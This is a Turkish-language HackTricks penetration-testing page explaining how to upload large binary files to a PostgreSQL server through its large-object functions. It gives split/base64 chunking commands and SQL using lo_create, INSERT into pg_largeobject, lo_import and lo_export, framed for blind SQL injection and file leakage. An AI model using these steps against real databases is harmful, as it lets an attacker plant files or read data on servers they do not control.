Big Binary Files Upload (PostgreSQL)

AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'a göz atın!

HackTricks'i desteklemenin diğer yolları:

PostgreSQL Büyük Nesneler

PostgreSQL, resimler veya PDF belgeleri gibi büyük veri tiplerini depolamak için tasarlanmış olan pg_largeobject tablosuna erişilebilen büyük nesneler adı verilen bir yapı sunar. Bu yaklaşım, verilerin dosya sistemine geri aktarılmasını sağlayan COPY TO işlevine göre avantajlıdır ve orijinal dosyanın tam bir kopyasının korunmasını sağlar.

Bu tabloya bir tam dosya depolamak için, bir nesne (LOID tarafından tanımlanan) pg_largeobject tablosunda oluşturulmalı ve ardından bu nesneye 2KB boyutunda her biri veri parçaları eklenmelidir. Bu parçaların tam olarak 2KB boyutunda olması (son parça hariç) ihracat işlevinin doğru şekilde çalışmasını sağlamak için önemlidir.

Binary verilerinizi 2KB'lık parçalara bölmek için aşağıdaki komutlar kullanılabilir:

split -b 2048 your_file # Creates 2KB sized files

Her bir dosyanın Base64 veya Hex formatına kodlanması için aşağıdaki komutlar kullanılabilir:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

Önemli: Bu işlemi otomatikleştirirken, açık metin baytlarının 2KB'lık parçalarını gönderdiğinizden emin olun. Hex kodlu dosyaların boyutu ikiye katlandığı için her parça için 4KB veri gerekecektir, Base64 kodlu dosyalar ise ceil(n / 3) * 4 formülünü takip eder.

Büyük nesnelerin içeriği hata ayıklama amaçlı olarak görüntülenebilir:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

lo_creat ve Base64 Kullanımı

Binary verileri depolamak için öncelikle bir LOID oluşturulur:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

Hassas kontrol gerektiren durumlarda, örneğin Kör SQL Enjeksiyonu söz konusu olduğunda, sabit bir LOID belirtmek için lo_create tercih edilir.

Veri parçaları aşağıdaki gibi eklenir:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

Büyük nesneyi kullanımdan sonra dışa aktarmak ve potansiyel olarak silmek için:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

lo_import ve Hex Kullanımı

lo_import fonksiyonu, büyük bir nesne için bir LOID oluşturmak ve belirtmek için kullanılabilir:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

Aşağıdaki nesne oluşturulduktan sonra, her sayfa için veri eklenir ve her parça 2KB'ı geçmez:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

İşlemi tamamlamak için veriler dışa aktarılır ve büyük nesne silinir:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Sınırlamalar

Büyük nesnelerin ACL'leri (Erişim Kontrol Listeleri) olabileceği belirtilmektedir ve bu, kullanıcınız tarafından oluşturulan nesnelere bile erişimi kısıtlayabilir. Bununla birlikte, daha eski ve izin verici ACL'lere sahip nesneler hala içerik sızdırma için erişilebilir olabilir.

AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated